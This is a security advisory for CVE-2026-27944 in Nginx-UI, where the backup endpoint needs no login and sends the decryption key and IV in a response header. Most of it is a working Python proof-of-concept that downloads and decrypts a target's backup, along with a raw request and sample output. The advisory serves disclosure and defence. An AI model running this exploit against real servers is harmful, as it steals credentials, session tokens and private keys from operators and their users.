CVE-2026-27944

CRITICAL9.8EPSS 7.3%

Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure

Published: 3/5/2026Modified: 3/23/2026

Description

## Summary The `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. ## Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | `api/backup/router.go` | | Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) | | Secondary File | `internal/backup/backup.go` | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ## Root Cause The vulnerability exists due to two critical security flaws: ### 1. Missing Authentication on /api/backup Endpoint In `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware: ```go func InitRouter(r *gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware } ``` For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open. ### 2. Encryption Keys Disclosed in HTTP Response Headers In `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header: ```go func CreateBackup(c *gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return } // Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header // ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone // Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) } ``` The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`. ### 3. Backup Contents The backup archive (created in `internal/backup/backup.go`) contains: ```go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates - nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/* // Virtual host configs └── ssl/* // SSL private keys - hash_info.txt (encrypted) └── SHA-256 hashes for integrity verification ``` All files are encrypted with AES-256-CBC, but the keys are disclosed in the response. ## Proof of Concept ### Python script ```python #!/usr/bin/env python3 """ POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """ import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1) def _parse_keys(hdr_val: str): """ Parse X-Backup-Security header format: "base64_key:base64_iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdr_val or "").strip() # Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip() return None, None def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)") cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) return unpad(decrypted, AES.block_size) def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str): """Extract and decrypt the backup archive""" print(f"\n[*] Extracting encrypted backup to {output_dir}") os.makedirs(output_dir, exist_ok=True) # Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip: print(f"[*] Main archive contains: {main_zip.namelist()}") main_zip.extractall(output_dir) # Decrypt each file encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"] for filename in encrypted_files: filepath = os.path.join(output_dir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue print(f"[*] Decrypting {filename}...") with open(filepath, "rb") as f: encrypted = f.read() try: decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64) # Write decrypted file decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decrypted_path, "wb") as f: f.write(decrypted) print(f" → Saved to {decrypted_path} ({len(decrypted)} bytes)") # If it's a ZIP, extract it if filename.endswith(".zip"): extract_dir = os.path.join(output_dir, filename.replace(".zip", "")) os.makedirs(extract_dir, exist_ok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip: inner_zip.extractall(extract_dir) print(f" → Extracted {len(inner_zip.namelist())} files to {extract_dir}") except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}") # Show hash info hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted") if os.path.exists(hash_info_path): print(f"\n[*] Hash info:") with open(hash_info_path, "r") as f: print(f.read()) def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port") ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download") ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files") args = ap.parse_args() url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup") # Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET") try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = _parse_keys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1) with open(args.out, "wb") as f: f.write(data) # Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}") if key and iv: # Verify key/IV lengths try: key_bytes = base64.b64decode(key) iv_bytes = base64.b64decode(iv) print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)") print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1) if args.decrypt: try: extract_backup(args.out, key, iv, args.extract_dir) except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.print_exc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}") if __name__ == "__main__": main() ``` ```bash # Download and decrypt backup (no authentication required) # pip install pycryptodome python poc.py --target http://victim:9000 --decrypt ``` ``` X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw== [*] Key length: 32 bytes (AES-256 ✓) [*] IV length : 16 bytes (AES block size ✓) [*] Extracting encrypted backup to backup_extracted [*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip'] [*] Decrypting hash_info.txt... → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes) [*] Decrypting nginx-ui.zip... → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes) → Extracted 2 files to backup_extracted/nginx-ui [*] Decrypting nginx.zip... → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes) → Extracted 17 files to backup_extracted/nginx [*] Hash info: nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2 ``` ### HTTP Request (Raw) ```http GET /api/backup HTTP/1.1 Host: victim:9000 ``` **No authentication required** - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in `X-Backup-Security` header ### Example Response ```http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== [Binary ZIP data] ``` The `X-Backup-Security` header contains: - **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key) - **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV) <img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" /> ## Resources - [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html) - [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication) - [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure) - [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)

Affected packages (2)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1CRITICAL9.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References (6)